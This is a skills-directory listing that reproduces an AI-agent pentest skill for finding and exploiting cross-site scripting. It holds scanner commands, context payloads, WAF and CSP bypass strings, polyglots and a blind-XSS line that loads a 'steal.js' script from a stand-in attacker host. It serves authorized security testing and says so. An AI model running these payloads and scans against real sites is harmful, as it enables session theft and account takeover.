Skip to content
Back to skills

Exploit Xss

ASecurity

Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources.

  • 299 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added June 3, 2026
ai-agentsjavascriptpythongojavabashreactvueangularexpresstesting

Works with

  • cli
  • api

Security analysis

A96/100
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro scans all 20 files and shows the line behind each finding

Scanned June 3, 2026

npx -y skills add crazyMarky/pentest-skills --skill exploit-xss --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Exploit Xss?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Exploit Xss
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/crazymarky-exploit-xss/badge)](https://www.skillsdirectory.com/skills/crazymarky-exploit-xss)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: exploit-xss
description: Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources.
---

# Cross-Site Scripting (XSS) Detection Skill

## ⚠️ DANGER - Authorization Required

**This skill is for AUTHORIZED SECURITY TESTING ONLY.**

You must have:
- Written permission from the target system owner
- Legal authorization to test the target
- A defined scope of testing

Unauthorized XSS testing is ILLEGAL and unethical.

---

## Prerequisites

### Required Tools

```bash
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike

# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest

# XSpear - XSS testing with WAF bypass
gem install xspear
```

### Python Requirements

```bash
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4

# Optional: WebSocket XSS testing
pip install websockets
```

### Optional Tools

```bash
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
```

---

## Quick Start

### Basic URL Testing
```bash
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"

# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"
```

### POST Request Testing
```bash
# Save POST request to file
dalfox file request.txt

# Or use XSStrike
python xsstrike.py -r request.txt
```

### DOM XSS Testing
```bash
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom

# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom
```

---

## Common Scenarios

### 1. Basic Parameter Testing (Reflected XSS)

Test URL parameters for reflection and injection:

```bash
# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"

# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"

# Specify parameter
dalfox url "https://target.com/search" -p q
```

**What to check:**
- Does the input reflect in the HTML response?
- What is the context (HTML tag, attribute, JavaScript)?
- Are there any filters/encoding applied?

### 2. POST Request XSS (Form Testing)

Test POST forms for stored/reflected XSS:

```bash
# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=test&password=test' > post_request.txt

# Test with XSStrike
python xsstrike.py -r post_request.txt

# Test with Dalfox
dalfox file post_request.txt
```

**Common POST targets:**
- Login forms (username, email fields)
- Contact forms (name, message fields)
- Search forms
- Comment forms
- User profile updates

### 3. Cookie and Header XSS

Test HTTP headers and cookies for injection:

```bash
# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"

# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"

# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"
```

**Headers to test:**
- User-Agent (check application logs/error pages)
- Referer (check 404 pages, analytics)
- X-Forwarded-For (check IP reflection)
- Cookie (check welcome messages/logs)

### 4. Reflected XSS Detection

Identify reflection points and test payloads:

```bash
# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery

# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"

# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind
```

**Detection techniques:**
- Compare response length with/without payload
- Search for payload in response HTML
- Check for encoding/filtering patterns
- Identify HTML context (tag, attribute, JS, CSS)

### 5. Stored XSS Testing (Database Persistence)

Test for XSS that persists in the database:

```bash
# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net

# Test user profile fields
python xsstrike.py -r profile_update_request.txt

# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&email=test@test.com&message=payload"
```

**Stored XSS targets:**
- User profiles (name, bio, location)
- Comments/Reviews
- Forum posts
- Email/contact forms (admin panel XSS)
- File upload metadata

### 6. DOM XSS Discovery

Find client-side XSS vulnerabilities:

```bash
# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom

# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom

# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"
```

**Common DOM sources:**
- `location.hash`
- `location.search`
- `document.cookie`
- `document.referrer`
- `window.name`

**Common DOM sinks:**
- `innerHTML`
- `document.write()`
- `eval()`
- `location.href`
- `setTimeout()` / `setInterval()`

### 7. Blind XSS in Forms (Contact/Admin XSS)

Test XSS in forms that execute in admin panels:

```bash
# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"

# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net

# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"
```

**Blind XSS testing tips:**
- Use unique payloads per test (to identify which parameter is vulnerable)
- Use Burp Collaborator or interactsh for callbacks
- Test email contact forms (executes when admin opens email)
- Test support ticket systems

### 8. Context-Aware Payloads

Use payloads specific to the injection context:

```bash
# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"

# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url
```

**Context-specific payloads:**

**HTML Body/Tag:**
```html
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
```

**HTML Attribute:**
```html
" onmouseover=alert('XSS')
javascript:alert('XSS')
```

**JavaScript:**
```javascript
';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>
```

**CSS/Style:**
```css
</style><script>alert('XSS')</script>
expression(alert('XSS'))
```

### 9. WAF Bypass Techniques

Evade Web Application Firewalls:

```bash
# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass

# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass

# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encode
```

**Bypass techniques:**
- URL encoding: `%3Cscript%3Ealert(1)%3C/script%3E`
- Double encoding: `%253Cscript%253E`
- Unicode encoding: `\u003Cscript\u003E`
- HTML entities: `&lt;script&gt;alert(1)&lt;/script&gt;`
- Case mixing: `<ScRiPt>alert(1)</sCrIpT>`
- Comment injection: `<script><!-- anything -->alert(1)</script>`
- Tab/newline injection: `<script\t>alert(1)</script>`

### 10. Automated Scanning (Batch Testing)

Scan multiple URLs/parameters:

```bash
# Scan from file
dalfox file urls.txt

# Pipe from other tools
cat urls.txt | dalfox pipe

# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done

# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe
```

### 11. Payload Encoding Variations

Test with different encoding schemes:

```bash
# URL encode payloads
scripts/xss_payload_generator.py --encode url

# HTML encode
scripts/xss_payload_generator.py --encode html

# Hex encode
scripts/xss_payload_generator.py --encode hex

# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encode
```

**Common encodings to test:**
1. Plain: `<script>alert(1)</script>`
2. URL encoded: `%3Cscript%3Ealert(1)%3C/script%3E`
3. Double URL encoded: `%253Cscript%253E`
4. HTML entities: `&lt;script&gt;alert(1)&lt;/script&gt;`
5. Hex: `\x3Cscript\x3Ealert(1)\x3C/script\x3E`
6. Unicode: `\u003Cscript\u003Ealert(1)\u003C/script\u003E`

### 12. Polyglot Payloads

Test with payloads that work in multiple contexts:

```bash
# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot

# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
```

**Famous polyglot payloads:**

```javascript
# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E

# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
```

### 13. CSP Detection and Bypass

Content Security Policy analysis and bypass testing:

```bash
# Detect and analyze CSP
python scripts/csp_detector.py https://target.com

# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass

# Full CSP analysis
python scripts/csp_detector.py https://target.com --verbose
```

**Common CSP bypass techniques:**
- `unsafe-inline` - allows inline scripts
- `unsafe-eval` - allows eval(), setTimeout()
- `data:` URLs - inline scripts via data URI
- Wildcard sources - allows any domain
- Nonce-based bypasses
- Framework-specific bypasses

See `references/csp_bypass_guide.md` for detailed techniques.

### 14. Framework-Specific XSS

Test for Angular, React, Vue, and other framework vulnerabilities:

```bash
# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect

# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular

# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react

# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue
```

**Common framework vectors:**
- Angular: `{{constructor.constructor('alert(1)')()}}`
- React: `dangerouslySetInnerHTML`
- Vue: `v-html` directive
- jQuery: `.html()` manipulation

See `references/framework_xss_guide.md` for detailed techniques.

### 15. SVG File Upload XSS

Test for SVG-based XSS in file uploads:

```bash
# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload

# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content

# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar

# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com
```

**SVG XSS vectors:**
- `<svg onload="alert('XSS')">`
- `<svg><script>alert('XSS')</script></svg>`
- `<svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>`

See `references/svg_xss_guide.md` for detailed techniques.

### 16. Mutation XSS (mXSS)

Test for HTML mutation-based XSS:

```bash
# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all

# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber

# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute
```

**Mutation XSS vectors:**
- Entity decoding mutations: `&lt;` → `<`
- Tag parsing mutations: `<xmp>`, `<listing>`
- DOM clobbering: `<a id="location">`
- Namespace mutations: SVG/MathML

See `references/mutation_xss_guide.md` for detailed techniques.

### 17. WebSocket XSS

Test for XSS vulnerabilities in WebSocket connections:

```bash
# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com

# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws

# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom

# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored

# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'
```

**WebSocket XSS vectors:**
- Message reflection: `ws.send('<script>alert(1)</script>')`
- JSON injection: `{"message": "<img src=x onerror=alert(1)>"}`
- Event handler: `ws.send('alert(1);')`
- Attribute breaking: `" onmouseover=alert(1)`

See `references/websocket_xss_guide.md` for detailed techniques.

---

## Tool Selection Guide

| Scenario | Recommended Tool | Command |
|----------|------------------|---------|
| Quick parameter testing | Dalfox | `dalfox url "https://target.com?param=test"` |
| Deep scanning with DOM | XSStrike | `python xsstrike.py -u "URL" --dom` |
| WAF bypass testing | XSpear | `xspear -u "URL" --bypass` |
| Stored/Blind XSS | Dalfox + Callback | `dalfox file req.txt --blind CALLBACK` |
| Manual testing | XSStrike | `python xsstrike.py -r request.txt` |
| Batch scanning | Dalfox pipe | `cat urls.txt \| dalfox pipe` |
| CSP Analysis | CSP Detector | `python scripts/csp_detector.py URL` |
| Framework XSS | Framework Tester | `python scripts/framework_xss_tester.py -u URL -p param` |
| SVG XSS | SVG Tester | `python scripts/svg_xss_tester.py -u URL -p param` |
| Mutation XSS | Mutation Tester | `python scripts/mutation_xss_tester.py -u URL -p param` |
| WebSocket XSS | WebSocket Tester | `python scripts/websocket_xss_tester.py -u URL` |
| Full Scan | Full Scanner | `python scripts/xss_full_scan.py -u URL --all` |

**Tool Comparison:**

| Feature | XSStrike | Dalfox | XSpear | Built-in Scripts |
|---------|----------|--------|--------|------------------|
| Speed | Medium | Fast | Medium | Varies |
| DOM XSS | Excellent | Good | Limited | Good |
| WAF Bypass | Good | Good | Excellent | Good |
| Pipeline Mode | No | Yes | No | No |
| Blind XSS | Yes | Yes | Yes | Yes |
| CSP Analysis | No | No | No | Yes |
| Framework Testing | No | No | No | Yes |
| SVG Testing | No | No | No | Yes |
| Mutation XSS | No | No | No | Yes |
| WebSocket XSS | No | No | No | Yes |

---

## Testing Checklist

### Reconnaissance Phase
- [ ] Identify all input points (URL params, forms, headers, cookies)
- [ ] Map out application functionality
- [ ] Identify data storage locations

### Reflected XSS Testing
- [ ] Test all URL parameters
- [ ] Test all form fields (GET/POST)
- [ ] Test HTTP headers (UA, Referer, Cookie)
- [ ] Identify reflection context
- [ ] Test context-specific payloads

### Stored XSS Testing
- [ ] Test all form submissions
- [ ] Test file upload metadata
- [ ] Test user profile fields
- [ ] Test comments/reviews
- [ ] Verify persistence across sessions
- [ ] Test execution in different user contexts

### DOM XSS Testing
- [ ] Identify all DOM sources
- [ ] Trace data flow to sinks
- [ ] Test hash-based injections
- [ ] Test URL parameter-based injections
- [ ] Test localStorage/sessionStorage

### Advanced Testing
- [ ] Test WAF bypass techniques
- [ ] Test encoding variations
- [ ] Test polyglot payloads
- [ ] Perform blind XSS testing
- [ ] Test for CSP bypasses
- [ ] Test framework-specific XSS (Angular/React/Vue)
- [ ] Test SVG file upload XSS
- [ ] Test Mutation XSS (DOM clobbering)
- [ ] Test HTTP response header injection
- [ ] Test WebSocket XSS (if applicable)

---

### Scenario: Persistent Storage of XSS Findings

When you need to persist XSS findings to the database:

```bash
# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/search?q=test" \
  --xss-type reflected \
  --payload "<script>alert(1)</script>" \
  --context html_body \
  --severity High \
  --subsystem "Web Application"
```

**Parameters:**
- `--host-ip` - Target host IP (required)
- `--url` - Vulnerable URL (required)
- `--xss-type` - XSS type: reflected, stored, or dom (required)
- `--payload` - Payload used (required)
- `--context` - XSS context: html_body, html_attribute, javascript, dom, url (default: html_body)
- `--severity` - Severity level (default: Medium)
- `--subsystem` - Subsystem name (optional)
- `--parameter` - Vulnerable parameter name
- `--title` - Vulnerability title (auto-generated if not specified)
- `--description` - Vulnerability description
- `--cvss-score` - CVSS score (0.0-10.0)

**Database location:** `./data/results.db`

**Related skills:** `results-storage` - Query data, generate reports

---

## Resources

### Scripts
- `scripts/xss_payload_generator.py` - Generate XSS payloads for various contexts
- `scripts/xss_tester.py` - Automated XSS testing framework
- `scripts/xss_context_analyzer.py` - Analyze injection context
- `scripts/blind_xss_tester.py` - Test stored/blind XSS
- `scripts/csp_detector.py` - CSP analysis and bypass testing
- `scripts/svg_xss_tester.py` - SVG file upload XSS testing
- `scripts/framework_xss_tester.py` - Angular/React/Vue XSS testing
- `scripts/mutation_xss_tester.py` - Mutation XSS/DOM clobbering testing
- `scripts/websocket_xss_tester.py` - WebSocket XSS testing
- `scripts/mxss_detector.py` - HTML parser mutation XSS detection
- `scripts/xss_full_scan.py` - Integrated XSS testing automation

### Reference Documentation
- `references/dalfox_guide.md` - Dalfox complete guide
- `references/xsstrike_guide.md` - XSStrike complete guide
- `references/xspear_guide.md` - XSpear complete guide
- `references/xss_payload_techniques.md` - XSS payload techniques
- `references/dom_xss_guide.md` - DOM XSS testing guide
- `references/csp_bypass_guide.md` - CSP bypass techniques
- `references/framework_xss_guide.md` - Framework-specific XSS guide
- `references/svg_xss_guide.md` - SVG XSS testing guide
- `references/mutation_xss_guide.md` - Mutation XSS/DOM clobbering guide
- `references/websocket_xss_guide.md` - WebSocket XSS testing guide

### Assets/Wordlists
- `assets/common_xss_payloads.txt` - Basic XSS payloads
- `assets/attribute_xss_payloads.txt` - Attribute context payloads
- `assets/dom_xss_payloads.txt` - DOM XSS payloads
- `assets/blind_xss_payloads.txt` - Blind XSS with callbacks
- `assets/polyglot_xss_payloads.txt` - Multi-context payloads
- `assets/waf_bypass_payloads.txt` - WAF evasion payloads
- `assets/csp_bypass_payloads.txt` - CSP bypass payloads
- `assets/framework_xss_payloads.txt` - Angular/React/Vue payloads
- `assets/svg_xss_payloads.txt` - SVG XSS payloads
- `assets/mutation_xss_payloads.txt` - Mutation XSS payloads
- `assets/websocket_xss_payloads.txt` - WebSocket XSS payloads

### External Resources
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [PortSwigger XSS Guide](https://portswigger.net/web-security/cross-site-scripting)
- [PayloadsAllTheThings - XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)

---

## Common Responses & Troubleshooting

### "No XSS found"
- Try different payload encodings
- Test with DOM scanner enabled
- Check if there's a WAF blocking
- Test with blind XSS payloads
- Verify the parameter actually reflects

### "Payload is reflected but not executing"
- Analyze the context using context analyzer
- Use context-specific payloads
- Check for CSP (Content Security Policy)
- Check for input sanitization
- Try alternative tags/event handlers

### "403 / WAF blocked"
- Use WAF bypass payloads
- Try different encoding methods
- Use XSpear with --bypass flag
- Test with smaller payloads first
- Try alternative injection points

---

## Reporting Format

When reporting XSS vulnerabilities, include:

```
╔═══════════════════════════════════════════════════════╗
║              XSS Vulnerability Report                 ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search                     ║
║ Type: Reflected XSS                                   ║
║ Severity: High                                        ║
╚═══════════════════════════════════════════════════════╝

Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')

Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')

Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website

Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions
```

Files in this skill

  • SKILL.md20.9 KB
  • assets/attribute_xss_payloads.txt912 B
  • assets/blind_xss_payloads.txt1.9 KB
  • assets/common_xss_payloads.txt706 B
  • assets/csp_bypass_payloads.txt21.1 KB
  • assets/dom_xss_payloads.txt887 B
  • assets/framework_xss_payloads.txt4.9 KB
  • assets/modern_browser_xss_payloads.txt16 KB
  • assets/mutation_xss_payloads.txt8.9 KB
  • assets/mxss_payloads.txt6.6 KB
  • assets/polyglot_xss_payloads.txt8.5 KB
  • assets/svg_xss_payloads.txt15.5 KB
  • assets/waf_bypass_payloads.txt3 KB
  • assets/websocket_xss_payloads.txt4.6 KB
  • assets/xss_context_patterns.txt2.1 KB
  • references/csp_bypass_guide.md8.2 KB
  • references/dalfox_guide.md4.9 KB
  • references/dom_xss_guide.md7.9 KB
  • references/framework_xss_guide.md9.7 KB
  • references/mutation_xss_guide.md9.6 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.